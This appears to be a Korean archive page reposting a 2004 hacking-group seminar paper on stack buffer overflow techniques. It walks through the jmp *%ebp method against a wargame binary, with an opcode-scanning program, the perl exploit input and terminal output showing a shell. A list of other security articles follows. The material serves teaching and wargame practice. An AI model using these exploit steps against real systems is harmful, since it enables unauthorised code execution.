국내 리버스엔지니어링 관련 문서들을 모은 Archive 입니다.

author : 지현석 
aka : binish 
WebSite : http://binish.or.kr 
Source : http://binish.or.kr/_zb/zboard.php?id=_binishpaper&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=1 

 ; 2004년도에 작성했던 bof 에 관련된 문서입니다.
; 이제는 bof와 fsb가 까마귀 고기를 먹었는지 기억조차 안나지만..


                     "Advanced BufferOverflow Attack Skill"
                                -- using jmp *%ebp --

                                   .. 20040108 ..
                             .. CNU aRg0s HackerGroup ..
                                .. 지현석(binish) ..



#_INDEX_#
1. 버퍼오버플로우 공격기법의 발전
2. jmp *%ebp 기법 소개
3. jmp *%ebp 기법을 이용한 공격 예
4. 참고
5. 드리는 말씀

#_버퍼오버플로우 공격기법의 발전_#
Phrack 49호에 Aleph1이 "Smashing The Stack For Fun And Profit"을 발표하면서 BOF에 대한 공격기법이
주된 관심사로 떠오르기 시작했습니다.

초기 BOF는 리턴어드레스(Return Address:이하 ret)를 쉘코드 주소로 덮어씌움으로 공격이 이루어졌습니다.
즉 EGG쉘이라고 불리는 프로그램을 실행시킨 후 ret를 EGG쉘의 주소값으로 단순히 덮어씌우는 방법입니다.

이런 방법이후 여러가지 버퍼오버플로우 공격기법이 발전하게 되었습니다.

x01. Frame Pointer Overflow
프레임 포인터 오버플로우 기법은 단지 1바이트의 오버플로우일 때 쓰이는 방법입니다.
프로그램 실행중 스택영역에서 ebp가 pop될때 그 값이 +4되는 것을 이용합니다.
보통 ebp의 시작주소가 xbfff로 시작하기때문에 EGG의 주소(xbfff로 시작)와 맞아떨어지때문에 가능합니다.

x02. .dtors Overflow (with FSB)
main()함수가 exit(0)에 구애없이 종료될 때 참고하는 .dtors영역(정확히는 .dtors+4)을 쉘코드 주소로
덮어씌우는 기법입니다. 이 방법은 FSB(Format String Bug)와 함께 씌여집니다.

x03. GOT Overflow (with FSB)
위의 .dtors Overflow는 exit(0)대신에 _exit(0)을 이용하면 방지할 수 있습니다.
그렇지만 GOT라는 영역을 덮어씌움으로써 또한 오버플로우를 수행할 수 있습니다.
물론 이 방법도 FSB와 함께 씌여집니다.

x04. OMEGA Project
Lamagra라는 외국해커(소문에 의한 매우 어리다고 함)에 의해서 개발된 기법입니다.
기존의 ret를 쉘코드로 덮어씌우는 대신 system()의 주소를 ret로 덮어씌움으로써 system("/bin/sh");를
실행시켜 쉘을 획득합니다.

x05. Return-To-Lib(fake_ebp)
인자를 요하지 않는 함수를 연속적으로 호출하는 프로그램의 흐름을 이용한 공격기법입니다.
ret를 leaveret 주소로 덮어씌우고 ebp에는 버퍼의 시작주소를 덮어씌운 후 버퍼에는 EGG주소값을 덮어씌움으로써
ebp를 속여서(fake_ebp)쉘을 획득할 수 있습니다.

예로 EGG의 주소가 0xEGG, buf의 주소가 0xBUF, leaveret의 주소가 0xLEAVERET일때,

[0xEGG][0xBUF][0xLEAVERET]
  buf    ebp       ret

위와 같이 덮어씌움으로써 정상적으로 leave한 후 참고하는 ebp(->eip)를 따라가게 되고,
ebp를 buf의 시작주소로 속였기때문에 buf의 시작주소로 돌아가게되어서 쉘이 뜨게 됩니다.

x06. jmp *%ebp
이번 세미나에서 자세히 알아보려는 기법입니다.

#_jmp *%ebp 기법 소개_#
jmp *%ebp 기법은 간단히 말해서 ret에 jmp *%ebp값을 덮어씌워주는 방법입니다.
즉 복귀할때 ebp로 jmp하게 됩니다. 고전기법에선 쉘코드 주소로 점프했었습니다.
물론 ebp는 우리가 조작할 수 있으며 ebp는 EGG를 가리키고 있기때문에 쉘을 획득하게 됩니다.

그렇다면 이제 jmp *%ebp를 어떻게 주소값으로 표현할 수 있는지를 알아내야 합니다.
ret에 jmp *%ebp라고 입력할 수는 없기때문입니다 :)
따라서 아래와 같은 소스를 하나 작성해서 이 값을 우선 헥사값으로 알아봤습니다.

/* jmp *%ebp 코드를 찾기위한 소스 by binish */
/* test.c */
main(int argc, char *argv[], char *env[])
{
        unsigned long get_esp(void)
{
                    __asm__("movl %esp,%eax");
                    __asm__("jmp *%ebp");
}
        exit(0);
}

위 소스를 컴파일한 후 objdump로 해당코드를 찾았습니다.

[binish@zeus beist]$ objdump -d test | more
.
.
.
08048324 <get_esp.0>:
8048324:       55                      push   %ebp
8048325:       89 e5                   mov    %esp,%ebp
8048327:       83 ec 04                sub    $0x4,%esp
804832a:       89 4d fc                mov    %ecx,0xfffffffc(%ebp)
804832d:       89 e0                   mov    %esp,%eax
804832f:       ff e5                   jmp    *%ebp //HERE!!
8048331:       c9                      leave
8048332:       c3                      ret
8048333:       90                      nop
.
.
.

HERE!!에서 알 수 있듯이 jmp *%ebp는 xffxe5의 연속된 값으로 나타나집니다.
따라서 이 xffxe5가 나타나는 영역의 값을 찾아냄으로써 jmp *%ebp값을 알아낼 수 있습니다.

/* xff와 xe5가 연속적으로 나타나는 메모리영역을 찾아내서 해당 주소값을 출력 */
/* by Null@Root */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
unsigned int i=0;
unsigned int a=0;
unsigned char *p;

void de(int j)
{
        printf("rnGot SIGSEGV:");
        printf("%prn",p+a);
        a++;
        exit(0);
}

main(int argc, char* argv[])
{
        if(argc < 2) {
                printf("%s <start address for searching 0xffe4>n", argv[0]);
                exit(0);
        }

        sscanf(argv[1], "%x", &i);
        printf("Using %xn", i);

        p=(unsigned char *)i;
        signal(SIGSEGV,de);
        foo();
}

int foo()
{
        while((unsigned int)p+a < 0xbfffffff) {
                fflush(stdout);
                if( (*(p+a)==0xff) && (*(p+a+1)==0xe5) ) {
                        printf("found it!! addr:%pn",p+a);
                        a+=2;
                        foo();
                }
                a++;
        }
        exit(0);
}

[binish@zeus beist]$ ./findesp 0x42000000
Using 42000000
found it!! addr:0x4211aa57
found it!! addr:0x4211ccd3
found it!! addr:0x4211da7b
found it!! addr:0x4211e36f
found it!! addr:0x4212999f

Got SIGSEGV:0x4212f000

0x42000000은 라이브러리 영역의 시작주소(?)입니다. 0xbfffffff(스택의 끝)까지 검색해서,
xff와 xe5가 발견될시 해당 주소값을 출력해주고 있습니다.

즉 위에서 출력된 5개의 주소값중 하나를 ret로 덮어씌운다면 jmp *%ebp가 일어나게됩니다.
그렇다면 이제 취약한 프로그램을 예로 들어 이 기법을 이용한 쉘획득을 하겠습니다.

#_jmp *%ebp 기법을 이용한 공격 예_#
/* This wargame is made by beist (http://beist.org) */

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
char buf[4];

if(argc != 2)
{
printf("argc only 2n");
return 0;
}

if(strlen(argv[0])!=3)
{
printf("argv0 length only 3n");
return 0;
}

if(strlen(argv[1])!=12)
{
printf("argv1 length only 12n");
return 0;
}

if(argv[1][11]=='xbf')
{
printf("welcome to blackholen");
return 0;
}

memset(buf, 0x00, 4);
strncpy(buf, argv[1], 12);
memset(buf, 0x00, strlen(argv[1])/2);
}

위 소스는 beist가 만든 BOF 취약점이 있는 프로그램입니다.

strncpy(buf, argv[1], 12); 를 통해서 buf의 크기가 4바이트인데 이 부분에 12바이트를 덮어씌우게 함으로써
자연적으로 BOF가 일어나지만 if(argv[1][11]=='xbf') 를 통해서 바로 EGG쉘을 획득(고전기법)할 수 없게 하였고,
(EGG쉘의 시작주소는 xbfff입니다. 따라서 argv[1][11]이 xbf가 됩니다)
memset(buf, 0x00, strlen(argv[1])/2); 를 통해서 6바이트를 NULL로 만들어버립니다.
따라서 fake_ebp도 통하지 않습니다.

물론 이 방법은 OMEGA 기법을 이용하면 쉘을 획득할 수 있으나 세미나의 초점에 맞추어
jmp *%ebp 기법을 이용하도록 하겠습니다.

[binish@zeus beist]$ ./2 AAAAAAAAAAAA
0xbffffb04  00 00 00 00 00 00 41 41 41 41 41 41 02 00 00 00   ......AAAAAA....
            ~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~
0xbffffb14  54 fb ff bf 60 fb ff bf b8 24 01 40 02 00 00 00   T...`....$.@....
0xbffffb24  4c 83 04 08 00 00 00 00 6d 83 04 08 fc 85 04 08   L.......m.......
0xbffffb34  02 00 00 00 54 fb ff bf c4 82 04 08 4c 87 04 08   ....T.......L...
0xbffffb44  50 a9 00 40 4c fb ff bf 0c 02 01 40 02 00 00 00   P..@L......@....

Segmentation fault

위의 예에서처럼 A(41)를 12개 입력할 경우 buf[0-3]와 ebp[2-3]가 NULL(0x00)로 채워지게 됩니다.
그리고 ebp[0-1]와 ret는 A(41)로 채워지게되서 Segmentation fault가 일어나게 됩니다.

이제 위에서 알아낸 jmp *%ebp 값(5개)중에서 하나(4212999f)를 택해서 ret로 덮어씌울것이고,
EGG를 띄워서 그 주소값으로 ebp를 덮어씌우도록 하겠습니다.

[00 00 00 00][00 00 ff bf][ jmp *%ebp ]
<--- buf ---><--- ebp ---><--- ret --->

[binish@zeus beist]$ ./egg
Using address: 0xbffffae8
[binish@zeus beist]$ ./env
bffff307
[binish@zeus beist]$ perl -e 'system "./2","AAAAAAxffxbfx9fx99x12x42"'
0xbffff114  00 00 00 00 00 00 ff bf 9f 99 12 42 02 00 00 00   ...........B....
            ~~~~~~~~~~~ ~~~~~~~~~~~ ~~~~~~~~~~~~~~
                 NULL       ebp     ret(jmp *%ebp)

0xbffff124  64 f1 ff bf 70 f1 ff bf b8 24 01 40 02 00 00 00   d...p....$.@....
0xbffff134  4c 83 04 08 00 00 00 00 6d 83 04 08 fc 85 04 08   L.......m.......
0xbffff144  02 00 00 00 64 f1 ff bf c4 82 04 08 4c 87 04 08   ....d.......L...
0xbffff154  50 a9 00 40 5c f1 ff bf 0c 02 01 40 02 00 00 00   P..@......@....
[binish@zeus beist]$ ps
  PID   TTY   STAT  TIME COMMAND
13515  ?      S    0:00 -bash
13779  ?      S    0:00 ./egg
13780  ?      S    0:00 /bin/bash
13817  ?      R    0:00 ps

위에서 알 수 있듯이 EGG의 정확한 시작주소는 0xbffff307입니다.
그리고 우리는 성공적으로 ret에는 0x4212999f를 덮어씌웠고 ebp에는 0xbfff0000이 씌워졌습니다.
따라서 프로그램이 진행되다가 ret의 0x4212999f를 만나게되서 jmp *%ebp가 일어나게 되고,
ebp에는 0xbfff0000이 입력되어 있으므로 0xbfff0000으로 점프하게됩니다.
쉘이 실행되지 못한 이유는 EGG의 주소(0xbffff307)와 점프된 주소(0xbfff0000)가 너무 멀어서입니다.

스택에서는 높은 메모리 주소에서 낮은 메모리 주소로 데이터가 쌓이고,
낮은 메모리 주소에서 높은 메모리 주소로 프로그램이 흘러갑니다.
따라서 EGG의 시작주소가 0xbfff0000보다 낮은 범위에 있어야지 쉘을 획득할 수 있습니다.

Low Memory Address ------> High Memory Address
[ .......0x90(NOP)........shellcode......... ]
   |
   +------------------------------------------------ jmp *%ebp(0xbfff0000)

이를위해서는 EGG의 크기를 매우 넓혀줘서 0xbfff보다 낮은 메모리 주소에 자리를 잡게하면 됩니다.
따라서 EGG의 크기를 65536으로 넓혀서(기존 2048) 다시 공격합니다.

[binish@zeus beist]$ ./egg2
Using address: 0xbffffae8
[binish@zeus beist]$ ./env
bffefb07
[binish@zeus beist]$ perl -e 'system "./2","AAAAAAxffxbfx9fx99x12x42"'
0xbffef914  00 00 00 00 00 00 ff bf 9f 99 12 42 02 00 00 00   ...........B....
0xbffef924  64 f9 fe bf 70 f9 fe bf b8 24 01 40 02 00 00 00   d...p....$.@....
0xbffef934  4c 83 04 08 00 00 00 00 6d 83 04 08 fc 85 04 08   L.......m.......
0xbffef944  02 00 00 00 64 f9 fe bf c4 82 04 08 4c 87 04 08   ....d.......L...
0xbffef954  50 a9 00 40 5c f9 fe bf 0c 02 01 40 02 00 00 00   P..@......@....
sh-2.05b$ ps
  PID   TTY   STAT  TIME COMMAND
13515  ?      S    0:00 -bash
13933  ?      S    0:00 ./egg2
13934  ?      S    0:00 /bin/bash
13961  ?      S    0:00 perl -e system "./2","AAAAAAxffxbfx9fx99x12x42"
13962  ?      S    0:00 /bin/sh
13963  ?      R    0:00 ps

위에서 보는것처럼 EGG의 시작주소가 0xbffefb07입니다. 즉 점프되는 ebp의 주소(0xbfff)보다 낮은 메모리 영역에
자리잡고 있기때문에(물론 NOP로 시작됨) 쉘을 획득할 수 있습니다.
아마도 NOP의 어느 한 영역으로 점프되었을거고 NOP를 타고 흐르다가 쉘코드를 만나게 되었을겁니다^^

#_참고_#
[1] Null@Root "Jmp *%esp, Call *%esp 를 이용한 Buffer Overflow Exploit 제작"
  http://null2root.org/lecture/openbook/JmpEsp_CallEsp.txt
[2] BEIST.ORG
  http://beist.org

  1. [2009/09/14] SetWindowsHookEx 후킹 제거
  2. [2009/09/14] 네이트온(NateOn) 3.7.10.3(966) 로그인 과정 분석
  3. [2009/09/14] Keylogging Analysis (using polling interrupt)
  4. [2009/09/14] Keyboard Security
List of Articles
번호 author aka 제목
37 김범연  ccibomb  Hooking SSDT 후킹 탐지기법 imagefile
36 이동수  alonglog  Hooking SSDT Hooking을 이용한 프로세스와 파일 숨기기 imagefile
35 장상근  Maxoverpro  Network SSH Brute-Force Login Attack 분석과 대응 imagefile
34 정지훈  binoopang  Binary Analysis Manual Binary Mangling with Radare imagefile
33 심준보  passket  PPT A Practice of Remote Code excution using cpu bug imagefile
32 정의진  eureka386  PPT Break the secure USB imagefile
31 김경수  kaspyxx  PPT The Way of Inject code to Process imagefile
30 crattack  crattack  Hooking detours와 iat hooking 사용하기 imagefile
29 이구호  lucid7  Operating System SEH Overflow imagefile
28 이용일  foryou2008  Binary Analysis Design and Implementation of Virtualized Code Protection For Anti-Reverse Engineering imagefile
27 박천성  ashine  UnPacking The Art of Unpacking (원저자: Mark Vincent Yason) imagefile
26 정혜성  정혜성  Manual ProcessExplorer Manual imagefile
25 정혜성  정혜성  Manual IceSword Manual imagefile
24 정혜성  정혜성  Manual TCPView Manual imagefile
23 정혜성  정혜성  Manual Autoruns Manual imagefile
22 김범연  ccibomb  Operating System DKOM 탐지기법 imagefile
21 안기찬  Externalist  Basic Reversing MFC Applications file
20 이강석  Certlab  Basic 인텔 메뉴얼을 이용하여 OPCODE를 어셈블리어 명령으로 변환하기 file
19 박찬암  hkpco  Binary Analysis DEFCON 2009 Capture The Flag 본선 문제 풀이 - tucod
18 박찬암  hkpco  Malware Analysis 777 DDoS 악성코드 분석 file
17 박찬암  hkpco  Basic Mem Jacking
16 안기찬  Externalist  Binary Analysis Reversing Binary500 (Defcon 2007) file
» 지현석  binish  Buffer Overflow Advanced BufferOverflow Attack Skill
14 지현석  binish  Network 네이트온(NateOn) 3.7.10.3(966) 로그인 과정 분석
13 지현석  binish  Hooking SetWindowsHookEx 후킹 제거
12 박찬암  hkpco  Basic Linux Kernel Memory Disclosure 취약성의 기초
11 박찬암  hkpco  Binary Analysis ActiveX 취약성 공격시의 Unicode Shellcode file
10 김연재  bl4ck3y3  Binary Analysis DEFCON 2009 Binary L33tness 100, EDB로 풀어보자 imagefile
9 박찬암  hkpco  Binary Analysis DEFCON 2008 Capture The Flag 본선 문제 풀이 - bakalakadakaChat_d
8 박찬암  hkpco  Basic Core Rootkit Technology for Linux Kernel 2.6

XE Login

OpenID Login